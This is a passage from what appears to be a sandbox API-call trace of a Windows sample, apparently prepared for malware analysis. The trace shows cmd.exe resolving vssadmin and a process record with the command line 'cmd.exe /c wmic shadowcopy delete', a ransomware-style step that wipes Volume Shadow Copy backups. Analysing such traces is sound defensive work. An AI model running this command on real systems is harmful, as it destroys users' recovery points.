ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x401e98 [0058.045] FindClose (in: hFindFile=0x401e98 | out: hFindFile=0x401e98) returned 1 [0058.045] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0058.045] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x32f1e4 | out: lpFindFileData=0x32f1e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x401e98 [0058.045] FindClose (in: hFindFile=0x401e98 | out: hFindFile=0x401e98) returned 1 [0058.046] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0058.046] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0058.046] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0058.046] GetProcessHeap () returned 0x3f0000 [0058.046] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404b90 | out: hHeap=0x3f0000) returned 1 [0058.046] GetEnvironmentStringsW () returned 0x4040a0* [0058.046] GetProcessHeap () returned 0x3f0000 [0058.046] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb36) returned 0x405ee0 [0058.046] FreeEnvironmentStringsW (penv=0x4040a0) returned 1 [0058.046] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.046] GetProcessHeap () returned 0x3f0000 [0058.046] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405680 | out: hHeap=0x3f0000) returned 1 [0058.046] GetProcessHeap () returned 0x3f0000 [0058.046] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x400e) returned 0x406a20 [0058.046] GetProcessHeap () returned 0x3f0000 [0058.046] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x402d70 [0058.047] GetProcessHeap () returned 0x3f0000 [0058.047] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x406a20 | out: hHeap=0x3f0000) returned 1 [0058.047] GetConsoleOutputCP () returned 0x1b5 [0058.047] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0058.047] GetUserDefaultLCID () returned 0x409 [0058.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32f5a8, cchData=128 | out: lpLCData="0") returned 2 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32f5a8, cchData=128 | out: lpLCData="0") returned 2 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32f5a8, cchData=128 | out: lpLCData="1") returned 2 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0058.048] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0058.048] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0058.050] GetProcessHeap () returned 0x3f0000 [0058.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x20c) returned 0x402dd0 [0058.050] GetConsoleTitleW (in: lpConsoleTitle=0x402dd0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.050] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0058.050] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0058.050] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0058.050] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0058.050] GetProcessHeap () returned 0x3f0000 [0058.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x400a) returned 0x406a20 [0058.051] GetProcessHeap () returned 0x3f0000 [0058.051] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x406a20 | out: hHeap=0x3f0000) returned 1 [0058.051] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0058.051] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0058.051] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0058.051] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0058.051] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0058.051] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0058.051] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0058.051] GetProcessHeap () returned 0x3f0000 [0058.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x402fe8 [0058.051] GetProcessHeap () returned 0x3f0000 [0058.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1a) returned 0x405720 [0058.052] GetProcessHeap () returned 0x3f0000 [0058.052] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x403048 [0058.053] GetConsoleTitleW (in: lpConsoleTitle=0x32f2a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.053] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0058.053] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0058.053] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0058.053] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0058.053] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0058.053] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0058.053] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0058.053] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0058.053] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0058.053] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0058.053] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0058.053] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0058.053] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0058.054] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0058.054] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0058.054] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0058.054] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0058.054] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0058.054] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0058.054] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0058.054] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0058.054] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0058.054] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0058.054] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0058.054] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0058.054] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0058.054] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0058.054] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0058.054] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0058.054] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0058.054] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0058.054] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0058.054] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0058.054] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0058.054] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0058.054] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0058.054] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0058.054] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0058.054] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0058.054] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0058.054] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0058.054] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0058.054] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0058.054] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0058.054] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0058.054] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0058.054] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0058.055] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0058.055] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0058.055] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0058.055] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0058.055] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0058.055] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0058.055] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0058.055] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0058.055] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0058.055] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0058.055] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0058.055] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0058.055] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0058.055] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0058.055] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0058.055] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0058.055] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0058.055] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0058.055] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0058.055] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0058.055] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0058.055] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0058.055] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0058.055] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0058.055] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0058.055] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0058.055] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0058.055] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0058.055] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0058.055] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0058.055] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0058.055] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0058.055] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0058.055] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0058.055] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0058.056] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0058.056] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0058.056] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0058.056] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0058.056] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0058.056] GetProcessHeap () returned 0x3f0000 [0058.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x210) returned 0x403090 [0058.056] GetProcessHeap () returned 0x3f0000 [0058.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x4032a8 [0058.056] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0058.056] GetProcessHeap () returned 0x3f0000 [0058.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x418) returned 0x3f07f0 [0058.056] SetErrorMode (uMode=0x0) returned 0x0 [0058.057] SetErrorMode (uMode=0x1) returned 0x0 [0058.057] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3f07f8, lpFilePart=0x32edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x32edc0*="Desktop") returned 0x25 [0058.057] SetErrorMode (uMode=0x0) returned 0x1 [0058.057] GetProcessHeap () returned 0x3f0000 [0058.057] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x3f07f0, Size=0x66) returned 0x3f07f0 [0058.057] GetProcessHeap () returned 0x3f0000 [0058.057] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x3f07f0) returned 0x66 [0058.057] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.057] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0058.057] GetProcessHeap () returned 0x3f0000 [0058.057] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x120) returned 0x403308 [0058.057] GetProcessHeap () returned 0x3f0000 [0058.057] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x238) returned 0x3f0860 [0058.064] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32eb3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32eb3c) returned 0xffffffff [0058.064] GetLastError () returned 0x2 [0058.065] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x32eb3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32eb3c) returned 0xffffffff [0058.065] GetLastError () returned 0x2 [0058.065] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32eb3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32eb3c) returned 0x4034b0 [0058.065] GetProcessHeap () returned 0x3f0000 [0058.065] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x14) returned 0x4034f0 [0058.065] FindClose (in: hFindFile=0x4034b0 | out: hFindFile=0x4034b0) returned 1 [0058.065] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x32eb3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32eb3c) returned 0xffffffff [0058.065] GetLastError () returned 0x2 [0058.065] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x32eb3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32eb3c) returned 0x4034b0 [0058.065] GetProcessHeap () returned 0x3f0000 [0058.065] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x4034f0, Size=0x4) returned 0x4034f0 [0058.066] FindClose (in: hFindFile=0x4034b0 | out: hFindFile=0x4034b0) returned 1 [0058.066] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0058.066] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0058.066] GetConsoleTitleW (in: lpConsoleTitle=0x32f034, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.770] InitializeProcThreadAttributeList (in: lpAttributeList=0x32eebc, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x32ef84 | out: lpAttributeList=0x32eebc, lpSize=0x32ef84) returned 1 [0058.770] UpdateProcThreadAttribute (in: lpAttributeList=0x32eebc, dwFlags=0x0, Attribute=0x60001, lpValue=0x32ef7c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x32eebc, lpPreviousValue=0x0) returned 1 [0058.770] GetStartupInfoW (in: lpStartupInfo=0x32ee78 | out: lpStartupInfo=0x32ee78*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0058.917] CloseHandle (hObject=0x74) returned 1 [0058.917] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0058.918] GetProcessHeap () returned 0x3f0000 [0058.918] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ee0 | out: hHeap=0x3f0000) returned 1 [0058.918] GetEnvironmentStringsW () returned 0x405ee0* [0058.918] GetProcessHeap () returned 0x3f0000 [0058.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb36) returned 0x4040a0 [0058.918] FreeEnvironmentStringsW (penv=0x405ee0) returned 1 [0058.918] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0063.960] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x32ee58 | out: lpExitCode=0x32ee58*=0x2) returned 1 [0063.960] CloseHandle (hObject=0x78) returned 1 [0063.961] _vsnwprintf (in: _Buffer=0x32efa0, _BufferCount=0x13, _Format="%08X", _ArgList=0x32ee64 | out: _Buffer="00000002") returned 8 [0063.961] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0063.961] GetProcessHeap () returned 0x3f0000 [0063.961] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x4040a0 | out: hHeap=0x3f0000) returned 1 [0063.961] GetEnvironmentStringsW () returned 0x4040a0* [0063.961] GetProcessHeap () returned 0x3f0000 [0063.961] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb5c) returned 0x409588 [0063.961] FreeEnvironmentStringsW (penv=0x4040a0) returned 1 [0063.961] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0063.961] GetProcessHeap () returned 0x3f0000 [0063.961] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x409588 | out: hHeap=0x3f0000) returned 1 [0063.961] GetEnvironmentStringsW () returned 0x4040a0* [0063.961] GetProcessHeap () returned 0x3f0000 [0063.961] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb5c) returned 0x409588 [0063.961] FreeEnvironmentStringsW (penv=0x4040a0) returned 1 [0063.961] GetProcessHeap () returned 0x3f0000 [0063.961] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x3ffef0 | out: hHeap=0x3f0000) returned 1 [0063.961] DeleteProcThreadAttributeList (in: lpAttributeList=0x32eebc | out: lpAttributeList=0x32eebc) [0063.961] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.961] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0063.962] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.962] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0063.962] _get_osfhandle (_FileHandle=0) returned 0x3 [0063.962] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0063.962] SetConsoleInputExeNameW () returned 0x1 [0063.962] GetConsoleOutputCP () returned 0x1b5 [0063.962] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0063.962] SetThreadUILanguage (LangId=0x0) returned 0x409 [0063.962] exit (_Code=2) Process: id = "48" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2d06b000" os_pid = "0xd40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "cmd.exe /c wmic shadowcopy delete" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 72 os_tid = 0xd44 [0058.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26fb64 | out: lpSystemTimeAsFileTime=0x26fb64*(dwLowDateTime=0xb17d7c40, dwHighDateTime=0x1d5e09d)) [0058.156] GetCurrentProcessId () returned 0xd40 [0058.156] GetCurrentThreadId () returned 0xd44 [0058.156] GetTickCount () returned 0x1158b01 [0058.156] QueryPerformanceCounter (in: lpPerformanceCount=0x26fb5c | out: lpPerformanceCount=0x26fb5c*=20002731417) returned 1 [0058.157] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0058.157] __set_app_type (_Type=0x1) [0058.157] __p__fmode () returned 0x76be31f4 [0058.158] __p__commode () returned 0x76be31fc [0058.158] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0058.158] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0058.158] GetCurrentThreadId () returned 0xd44 [0058.158] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd44) returned 0x60 [0058.158] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0058.158] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0058.158] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.159] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0058.159] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x26faf4 | out: phkResult=0x26faf4*=0x0) returned 0x2 [0058.159] VirtualQuery (in: lpAddress=0x26fb2b, lpBuffer=0x26fac4, dwLength=0x1c | out: lpBuffer=0x26fac4*(BaseAddress=0x26f000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.159] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x26fac4, dwLength=0x1c | out: lpBuffer=0x26fac4*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0058.159] VirtualQuery (in: lpAddress=0x171000, lpBuffer=0x26fac4, dwLength=0x1c | out: lpBuffer=0x26fac4*(BaseAddress=0x171000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0058.159] VirtualQuery (in: lpAddress=0x173000, lpBuffer=0x26fac4, dwLength=0x1c | out: lpBuffer=0x26fac4*(BaseAddress=0x173000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.159] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x26fac4, dwLength=0x1c | out: lpBuffer=0x26fac4*(BaseAddress=0x270000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0058.159] GetConsoleOutputCP () returned 0x1b5 [0058.159] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0058.159] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0058.159] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.159] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0058.160] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.160] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0058.160] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.160] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0058.160] _get_osfhandle (_FileHandle=0) returned 0x3 [0058.160] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0058.160] _get_osfhandle (_FileHandle=0) returned 0x3 [0058.160] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0058.160] GetEnvironmentStringsW () returned 0x321ff0* [0058.161] GetProcessHeap () returned 0x310000 [0058.161] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xaca) returned 0x322ac8 [0058.161] FreeEnvironmentStringsW (penv=0x321ff0) returned 1 [0058.161] GetProcessHeap () returned 0x310000 [0058.161] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4) returned 0x320c28 [0058.161] GetEnvironmentStringsW () returned 0x321ff0* [0058.161] GetProcessHeap () returned 0x310000 [0058.161] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xaca) returned 0x3235a0 [0058.161] FreeEnvironmentStringsW (penv=0x321ff0) returned 1 [0058.161] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26ea64 | out: phkResult=0x26ea64*=0x68) returned 0x0 [0058.161] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26ea6c, lpData=0x26ea70, lpcbData=0x26ea68*=0x1000 | out: lpType=0x26ea6c*=0x0, lpData=0x26ea70*=0x0, lpcbData=0x26ea68*=0x1000) returned 0x2 [0058.161] RegQueryValueExW (in: 